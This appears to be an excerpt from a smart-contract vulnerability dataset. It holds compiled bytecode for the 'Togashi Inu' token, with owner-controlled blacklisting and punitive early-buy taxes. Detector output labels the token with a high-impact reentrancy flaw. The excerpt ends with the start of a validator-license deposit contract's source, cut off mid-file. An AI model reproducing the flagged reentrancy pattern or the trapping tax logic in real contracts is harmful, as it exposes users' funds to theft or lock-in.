000000000000000000081526004016105eb906138e0565b60405180910390fd5b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606040518060400160405280600b81526020017f546f676173686920496e75000000000000000000000000000000000000000000815250905090565b600061068c610685611c21565b8484611c29565b6001905092915050565b600069152d02c7e14af6800000905090565b6106b0611c21565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461073d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610734906138e0565b60405180910390fd5b60005b82518110156108d257600783828151811061075e5761075d613d69565b5b60200260200101519080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550633b9aca008282815181106107de576107dd613d69565b5b60200260200101516107f09190613b69565b6008600085848151811061080757610806613d69565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060016005600085848151811061086657610865613d69565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806108ca90613cc2565b915050610740565b505050565b6108df611c21565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461096c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610963906138e0565b60405180910390fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60006109c1848484611df4565b610a82846109cd611c21565b610a7d856040518060600160405280602881526020016140d660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a33611c21565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461253e9092919063ffffffff16565b611c29565b600190509392505050565b610a95611c21565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b19906138e0565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610b8e611c21565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c12906138e0565b60405180910390fd5b60005b8151811015610d4757818181518110610c3a57610c39613d69565b5b602002602001015160078281548110610c5657610c55613d69565b5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060016005600060078481548110610cb857610cb7613d69565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610d3f90613cc2565b915050610c1e565b5050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d8c611c21565b73ffffffffffffffffffffffffffffffffffffffff1614610dac57600080fd5b6000610db730610fc5565b9050610dc2816125a2565b50565b610dcd611c21565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e51906138e0565b60405180910390fd5b80601260176101000a81548160ff02191690831515021790555050565b6000610e81611c21565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f05906138e0565b60405180910390fd5b6000805b600780549050811015610fbd576008600060078381548110610f3757610f36613d69565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482610fa89190613ae2565b91508080610fb590613cc2565b915050610f12565b508091505090565b600061100f600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282a565b9050919050565b61101e611c21565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a2906138e0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f544f474153484900000000000000000000000000000000000000000000000000815250905090565b60006111e36111dc611c21565b8484611df4565b6001905092915050565b6111f5611c21565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611282576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611279906138e0565b60405180910390fd5b601260149054906101000a900460ff16156112d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c990613960565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061136330601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1669152d02c7e14af6800000611c29565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156113a957600080fd5b505afa1580156113bd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113e19190613233565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561144357600080fd5b505afa158015611457573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061147b9190613233565b6040518363ffffffff1660e01b8152600401611498929190613750565b602060405180830381600087803b1580156114b257600080fd5b505af11580156114c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114ea9190613233565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061157330610fc5565b60008061157e611169565b426040518863ffffffff1660e01b81526004016115a0969594939291906137a2565b6060604051808303818588803b1580156115b957600080fd5b505af11580156115cd573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906115f2919061347b565b5050506001601260166101000a81548160ff0219169083151502179055506001601260176101000a81548160ff02191690831515021790555069010f0cf064dd592000006013819055506001601260146101000a81548160ff02191690831515021790555043600c81905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016116fd929190613779565b602060405180830381600087803b15801561171757600080fd5b505af115801561172b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061174f9190613421565b5050565b61175b611c21565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117df906138e0565b60405180910390fd5b6000600d819055506000600e8190555060005b600780549050811015611977576118ce33600783815481106118205761181f613d69565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600860006007868154811061186357611862613d69565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612898565b600060056000600784815481106118e8576118e7613d69565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061196f90613cc2565b9150506117fb565b506002600d819055506008600e81905550565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611a19611c21565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611aa6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9d906138e0565b60405180910390fd5b633b9aca0081611ab69190613b69565b60138190555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611b00611c21565b73ffffffffffffffffffffffffffffffffffffffff1614611b2057600080fd5b6000479050611b2e816128a8565b50565b611b39611c21565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611bc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bbd906138e0565b60405180910390fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611c99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c9090613940565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d0090613880565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611de79190613980565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e5b90613920565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611ed4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ecb90613840565b60405180910390fd5b60008111611f17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f0e90613900565b60405180910390fd5b6002600d819055506008600e81905550611f2f611169565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611f9d5750611f6d611169565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561252e57600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806120435750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612059576000600d819055506000600e819055505b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156120fd5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61210657600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121b15750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156122075750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561221f5750601260179054906101000a900460ff165b156122dc5760135481111561223357600080fd5b42600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561228b576031600d819055506001600e819055505b601e426122989190613ae2565b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b436003600c546122ec9190613ae2565b101580156123475750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b1561235d576063600d819055506001600e819055505b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156124085750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561245e5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612474576002600d81905550600a600e819055505b600061247f30610fc5565b9050601260159054906101000a900460ff161580156124ec5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156125045750601260169054906101000a900460ff165b1561252c57612512816125a2565b6000479050600081111561252a57612529476128a8565b5b505b505b612539838383612898565b505050565b6000838311158290612586576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161257d919061381e565b60405180910390fd5b50600083856125959190613bc3565b9050809150509392505050565b6001601260156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156125da576125d9613d98565b5b6040519080825280602002602001820160405280156126085781602001602082028036833780820191505090505b50905030816000815181106126205761261f613d69565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156126c257600080fd5b505afa1580156126d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126fa9190613233565b8160018151811061270e5761270d613d69565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061277530601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611c29565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016127d995949392919061399b565b600060405180830381600087803b1580156127f357600080fd5b505af1158015612807573d6000803e3d6000fd5b50505050506000601260156101000a81548160ff02191690831515021790555050565b6000600a54821115612871576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161286890613860565b60405180910390fd5b600061287b6129a3565b905061289081846129ce90919063ffffffff16565b915050919050565b6128a3838383612a18565b505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6128f86002846129ce90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612923573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6129746002846129ce90919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561299f573d6000803e3d6000fd5b5050565b60008060006129b0612be3565b915091506129c781836129ce90919063ffffffff16565b9250505090565b6000612a1083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612c48565b905092915050565b600080600080600080612a2a87612cab565b955095509550955095509550612a8886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d1390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612b1d85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d5d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612b6981612dbb565b612b738483612e78565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612bd09190613980565b60405180910390a3505050505050505050565b6000806000600a549050600069152d02c7e14af68000009050612c1b69152d02c7e14af6800000600a546129ce90919063ffffffff16565b821015612c3b57600a5469152d02c7e14af6800000935093505050612c44565b81819350935050505b9091565b60008083118290612c8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c86919061381e565b60405180910390fd5b5060008385612c9e9190613b38565b9050809150509392505050565b6000806000806000806000806000612cc88a600d54600e54612eb2565b9250925092506000612cd86129a3565b90506000806000612ceb8e878787612f48565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612d5583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061253e565b905092915050565b6000808284612d6c9190613ae2565b905083811015612db1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612da8906138a0565b60405180910390fd5b8091505092915050565b6000612dc56129a3565b90506000612ddc8284612fd190919063ffffffff16565b9050612e3081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d5d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612e8d82600a54612d1390919063ffffffff16565b600a81905550612ea881600b54612d5d90919063ffffffff16565b600b819055505050565b600080600080612ede6064612ed0888a612fd190919063ffffffff16565b6129ce90919063ffffffff16565b90506000612f086064612efa888b612fd190919063ffffffff16565b6129ce90919063ffffffff16565b90506000612f3182612f23858c612d1390919063ffffffff16565b612d1390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612f618589612fd190919063ffffffff16565b90506000612f788689612fd190919063ffffffff16565b90506000612f8f8789612fd190919063ffffffff16565b90506000612fb882612faa8587612d1390919063ffffffff16565b612d1390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612fe45760009050613046565b60008284612ff29190613b69565b90508284826130019190613b38565b14613041576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613038906138c0565b60405180910390fd5b809150505b92915050565b600061305f61305a84613a35565b613a10565b9050808382526020820190508285602086028201111561308257613081613dcc565b5b60005b858110156130b25781613098888261312c565b845260208401935060208301925050600181019050613085565b5050509392505050565b60006130cf6130ca84613a61565b613a10565b905080838252602082019050828560208602820111156130f2576130f1613dcc565b5b60005b85811015613122578161310888826131dc565b8452602084019350602083019250506001810190506130f5565b5050509392505050565b60008135905061313b81614090565b92915050565b60008151905061315081614090565b92915050565b600082601f83011261316b5761316a613dc7565b5b813561317b84826020860161304c565b91505092915050565b600082601f83011261319957613198613dc7565b5b81356131a98482602086016130bc565b91505092915050565b6000813590506131c1816140a7565b92915050565b6000815190506131d6816140a7565b92915050565b6000813590506131eb816140be565b92915050565b600081519050613200816140be565b92915050565b60006020828403121561321c5761321b613dd6565b5b600061322a8482850161312c565b91505092915050565b60006020828403121561324957613248613dd6565b5b600061325784828501613141565b91505092915050565b6000806040838503121561327757613276613dd6565b5b60006132858582860161312c565b92505060206132968582860161312c565b9150509250929050565b6000806000606084860312156132b9576132b8613dd6565b5b60006132c78682870161312c565b93505060206132d88682870161312c565b92505060406132e9868287016131dc565b9150509250925092565b6000806040838503121561330a57613309613dd6565b5b60006133188582860161312c565b9250506020613329858286016131dc565b9150509250929050565b60006020828403121561334957613348613dd6565b5b600082013567ffffffffffffffff81111561336757613366613dd1565b5b61337384828501613156565b91505092915050565b6000806040838503121561339357613392613dd6565b5b600083013567ffffffffffffffff8111156133b1576133b0613dd1565b5b6133bd85828601613156565b925050602083013567ffffffffffffffff8111156133de576133dd613dd1565b5b6133ea85828601613184565b9150509250929050565b60006020828403121561340a57613409613dd6565b5b6000613418848285016131b2565b91505092915050565b60006020828403121561343757613436613dd6565b5b6000613445848285016131c7565b91505092915050565b60006020828403121561346457613463613dd6565b5b6000613472848285016131dc565b91505092915050565b60008060006060848603121561349457613493613dd6565b5b60006134a2868287016131f1565b93505060206134b3868287016131f1565b92505060406134c4868287016131f1565b9150509250925092565b60006134da83836134e6565b60208301905092915050565b6134ef81613bf7565b82525050565b6134fe81613bf7565b82525050565b600061350f82613a9d565b6135198185613ac0565b935061352483613a8d565b8060005b8381101561355557815161353c88826134ce565b975061354783613ab3565b925050600181019050613528565b5085935050505092915050565b61356b81613c09565b82525050565b61357a81613c4c565b82525050565b600061358b82613aa8565b6135958185613ad1565b93506135a5818560208601613c5e565b6135ae81613ddb565b840191505092915050565b60006135c6602383613ad1565b91506135d182613dec565b604082019050919050565b60006135e9602a83613ad1565b91506135f482613e3b565b604082019050919050565b600061360c602283613ad1565b915061361782613e8a565b604082019050919050565b600061362f601b83613ad1565b915061363a82613ed9565b602082019050919050565b6000613652602183613ad1565b915061365d82613f02565b604082019050919050565b6000613675602083613ad1565b915061368082613f51565b602082019050919050565b6000613698602983613ad1565b91506136a382613f7a565b604082019050919050565b60006136bb602583613ad1565b91506136c682613fc9565b604082019050919050565b60006136de602483613ad1565b91506136e982614018565b604082019050919050565b6000613701601783613ad1565b915061370c82614067565b602082019050919050565b61372081613c35565b82525050565b61372f81613c3f565b82525050565b600060208201905061374a60008301846134f5565b92915050565b600060408201905061376560008301856134f5565b61377260208301846134f5565b9392505050565b600060408201905061378e60008301856134f5565b61379b6020830184613717565b9392505050565b600060c0820190506137b760008301896134f5565b6137c46020830188613717565b6137d16040830187613571565b6137de6060830186613571565b6137eb60808301856134f5565b6137f860a0830184613717565b979650505050505050565b60006020820190506138186000830184613562565b92915050565b600060208201905081810360008301526138388184613580565b905092915050565b60006020820190508181036000830152613859816135b9565b9050919050565b60006020820190508181036000830152613879816135dc565b9050919050565b60006020820190508181036000830152613899816135ff565b9050919050565b600060208201905081810360008301526138b981613622565b9050919050565b600060208201905081810360008301526138d981613645565b9050919050565b600060208201905081810360008301526138f981613668565b9050919050565b600060208201905081810360008301526139198161368b565b9050919050565b60006020820190508181036000830152613939816136ae565b9050919050565b60006020820190508181036000830152613959816136d1565b9050919050565b60006020820190508181036000830152613979816136f4565b9050919050565b60006020820190506139956000830184613717565b92915050565b600060a0820190506139b06000830188613717565b6139bd6020830187613571565b81810360408301526139cf8186613504565b90506139de60608301856134f5565b6139eb6080830184613717565b9695505050505050565b6000602082019050613a0a6000830184613726565b92915050565b6000613a1a613a2b565b9050613a268282613c91565b919050565b6000604051905090565b600067ffffffffffffffff821115613a5057613a4f613d98565b5b602082029050602081019050919050565b600067ffffffffffffffff821115613a7c57613a7b613d98565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613aed82613c35565b9150613af883613c35565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613b2d57613b2c613d0b565b5b828201905092915050565b6000613b4382613c35565b9150613b4e83613c35565b925082613b5e57613b5d613d3a565b5b828204905092915050565b6000613b7482613c35565b9150613b7f83613c35565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613bb857613bb7613d0b565b5b828202905092915050565b6000613bce82613c35565b9150613bd983613c35565b925082821015613bec57613beb613d0b565b5b828203905092915050565b6000613c0282613c15565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613c5782613c35565b9050919050565b60005b83811015613c7c578082015181840152602081019050613c61565b83811115613c8b576000848401525b50505050565b613c9a82613ddb565b810181811067ffffffffffffffff82111715613cb957613cb8613d98565b5b80604052505050565b6000613ccd82613c35565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613d0057613cff613d0b565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61409981613bf7565b81146140a457600080fd5b50565b6140b081613c09565b81146140bb57600080fd5b50565b6140c781613c35565b81146140d257600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201b6b014d31241373add301f0cb91cac07c3ec7a99b08fee97555fbd6a114e9ed64736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 10,694 |
0x0a545ab449978f2f9ff74a6f5bf80e6705d8971f | /**
*Submitted for verification at Etherscan.io on 2021-12-14
*/
/**
* provide.network validator license contract
*
* Instructions:
*
* Deposit 2,500 UBT into this contract to secure your license
* to validate provide.network upon network launch. Depositors
* will be included in the initial Network Rewards contract,
* permitted to withdraw PRVD block rewards and participate in
* network governance as described in this paper:
* https://provide.network/whitepapers/latest.pdf
*
* PRVD official token contract address: 0x65bb569faadd324a00883fde4c46346cc96d5c0a)
*
* WARNING: DO NOT DEPOSIT ANY ASSETS OTHER THAN
* UBT TO THIS CONTRACT!
*
* Note that the network governance smart contract suite will be
* deployed on or about January 1, 2022.
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
